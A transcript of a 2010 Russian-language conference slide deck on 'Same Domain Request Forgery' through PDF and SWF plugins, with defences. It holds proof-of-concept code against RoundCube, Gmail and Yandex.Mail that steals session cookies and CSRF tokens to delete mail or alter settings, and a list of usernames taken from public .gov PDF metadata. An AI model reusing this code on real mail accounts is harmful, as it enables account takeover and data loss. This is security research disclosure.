chaos construcions 2010 sdrf presentation [onsec]

19
УЯЗВИМОСТИ SDRF Новые идеи и их применение.

Upload: ivan-novikov

Post on 22-May-2015

1.769 views

Category:

Documents


3 download

DESCRIPTION

This report describes a vulnerability type called SDRF. There are several examples that demonstrate the risk of the above-mentioned class of vulnerability. Causes of its existence and methods of protection from SDRF are also observed in the report.

TRANSCRIPT

Page 1: Chaos Construcions 2010 SDRF presentation [ONSEC]

УЯЗВИМОСТИ SDRF

Новые идеи и их применение.

Page 2: Chaos Construcions 2010 SDRF presentation [ONSEC]

PDF и SWF позволяют• Отправлять запросы GET/POST/PUT на домен, в

контексте которого открыт файл, без подтверждения со стороны пользователя (диалог Adobe Reader) и без спец. настройки сервера (crossdomain.xml);

• Добавлять в HTTP запросы произвольные заголовки

• Обрабатывать HTTP ответы (получение авторизационных данных, переменных);

• Вызывать обычный JavaScript в браузере (только SWF?);

Page 3: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Подделка HTTP запросов пользователя, но в отличие от CSRF, подделываются запросы, отправляемые от имени пользователя на тот же домен, где расположен вредоносный код, эксплуатирующий уязвимость.

• SDRF реализуются через стандартные функции Adobe Flash Player© и Adobe Reader©. Разумеется, можно использовать SDRF и классическими методами, например через HTML инъекции или XSS.

WTF the Same Domain Request Forgery?

Page 4: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Злоумышленник отправляет жертве письмо с вложением – PDF или SWF файлом. Файл содержит вредоносный код.

• Жертва получает письмо злоумышленника и открывает приложенный файл через веб-интерфейс RoundCube.

• В контексте браузера запускается плагин Adobe Reader ©, который обрабатывает и выполняет вредоносный код. От имени пользователя выполняются какие-либо действия в веб-приложении.

SDRF в веб-приложениях. RoundCube.

Page 5: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в веб-приложениях. RoundCube.

Page 6: Chaos Construcions 2010 SDRF presentation [ONSEC]

1. var resp = GET(‘http://target-domain/?_task=mail&mbox=INBOX’)2. var request_token = resp.substring(resp.search(‘request_token’),33)3. POST(‘http://target-domain/?_task=mail&_action=moveto’,’ _uid=2451&_mbox=INBOX&_target_mbox=Trash&_from=&_remote=1’,’application/x-www-form-urlencoded’,’UTF-8’,concat(‘X-RoundCube-Request=’,request_token))

SDRF в веб-приложениях. RoundCube.

Page 7: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в веб-приложениях. Защита.• Запретить загрузку файлов PDF и SWF со стороны

пользователя

• Запретить прямой доступ к загруженным файлам PDF и SWF средствами веб-сервера. Вместо этого использовать средства веб-приложения, добавлять заголовок Content-type:Application/octet-stream.

• Перенести хранилище файлов PDF и SWF на другой домен, где вообще отсутствуют веб-приложения.

Page 8: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в браузерах. Opera 10.60+• Браузер выводит диалоговое окно даже при

обработке HTTP ответа c заголовком Content-Type: application/octet-stream.

• Если в этом диалоге пользователь нажмет кнопку «Открыть», результат будет таким же, как если бы документ был подключен в тэг <embed> страницы веб-приложения!

• Такая особенность браузера ставит под удар большинство веб-приложений.

Page 9: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF в браузерах. Opera 10.60+• Если пользователь использует Opera10.60+,

уязвимыми оказываются веб-приложения, защищенные от SDRF в других браузерах.

• Google Mail, Yandex Mail, все остальные

Page 10: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF PoC: Gmail && Opera 10.60+• Пользователь открывает приложение к письму

Page 11: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF PoC: Gmail && Opera 10.60+• Пользователь нажимает «Открыть» в диалоге.

Page 12: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF PoC: Gmail && Opera 10.60+public function getIK():void{

httpService.send();

browserCookieString = ExternalInterface.call("function(){return document.cookie}");

browserCookieString = browserCookieString.replace(/;\s/g, "&");

if(browserCookieString) {_urlVariables = new URLVariables(browserCookieString); } }

private function httpService_result(evt:ResultEvent):void{

var resp:String = evt.result.toString();

var sI1:int = resp.search("GLOBALS=");

ik = resp.substring(sI1+129,sI1+139);

var sI2:int = browserCookieString.search("&GMAIL_AT=");

at = browserCookieString.substring(sI2+10,sI2+10+34);

deleteEmail(); }

Page 13: Chaos Construcions 2010 SDRF presentation [ONSEC]

CSRF PoC: Opera 10.60+ Yandex.Mail• Уязвимость Opera позволяет открыть прикрепленный

файл к письму в контексте домена webattach.yandex.net

• Crossdomain.xml на mail.yandex.ru разрешает запросы от Flash с этого домена:

<allow-access-from domain="*.yandex.net"/>

• Простое приложение на Flash может отравлять запросы с webattach.yandex.net на mail.yandex.ru и обрабатывать результаты.

Page 14: Chaos Construcions 2010 SDRF presentation [ONSEC]

CSRF PoC: Opera 10.60+ Yandex.Mailpublic function changeMailName(){

var params:Object={}; params['ckey']=ckey;params['from_name']='i-am-hacked'; httpService2.send(params); }

private function httpService_result(evt:ResultEvent):void { var resp:String = evt.result.toString();var sI:int = resp.search("ckey='"); var eI:int = resp.substring(sI+6).search("'");ckey=resp.substring(sI+6,sI+eI-1);

changeMailName(); }

Page 15: Chaos Construcions 2010 SDRF presentation [ONSEC]

SDRF === CSRF ?

=== ?

the Same Domain Request Forgery Cross Site Request Forgery

Page 16: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Запретить загрузку файлов от пользователя ;)

• Вынести все пользовательские загрузки на отдельный домен;

• Запретить этот домен в crossdomain.xml основного домена;

Можно защитить веб и под Opera!

Page 17: Chaos Construcions 2010 SDRF presentation [ONSEC]

Что еще прячется в PDF?Формат содержит мета-данные,в них может содержаться, например, путь в системе, где был создан файл.

В Windows системах этот путь,как правило, содержит логин пользователя.

C:\Documents and Settings\Vasya\My Documents\first.pdf

Page 18: Chaos Construcions 2010 SDRF presentation [ONSEC]

• Анализ публично доступных PDF форм на доменах .GOV показал:

Что еще прячется в PDF?

1010ez.med.va.gov vha-10-10ez.pdf vhacostoutm

cars.govsalvage-auction-certification-form.pdf Administrator

dps.nv.govNTAC Suspicious Activity Report Form.pdf dmestey

uscis.gov i-134.pdf barobbsclimatescience.gov form-submit-event.pdf gminasyanfms.gov.ru form1p_1april2010.pdf andresba.gov form_tr1010.pdf rsultan

eda.govForm ED-209S (Semiannual) - FINAL.pdf ktilakaratne

tinet.ita.doc.gov doc_order_form.pdf Katjaterpforms.cbp.gov CBP_Form_4457.pdf jkim

Page 19: Chaos Construcions 2010 SDRF presentation [ONSEC]

КОНТАКТЫ:

[email protected]

ВОПРОСЫ ???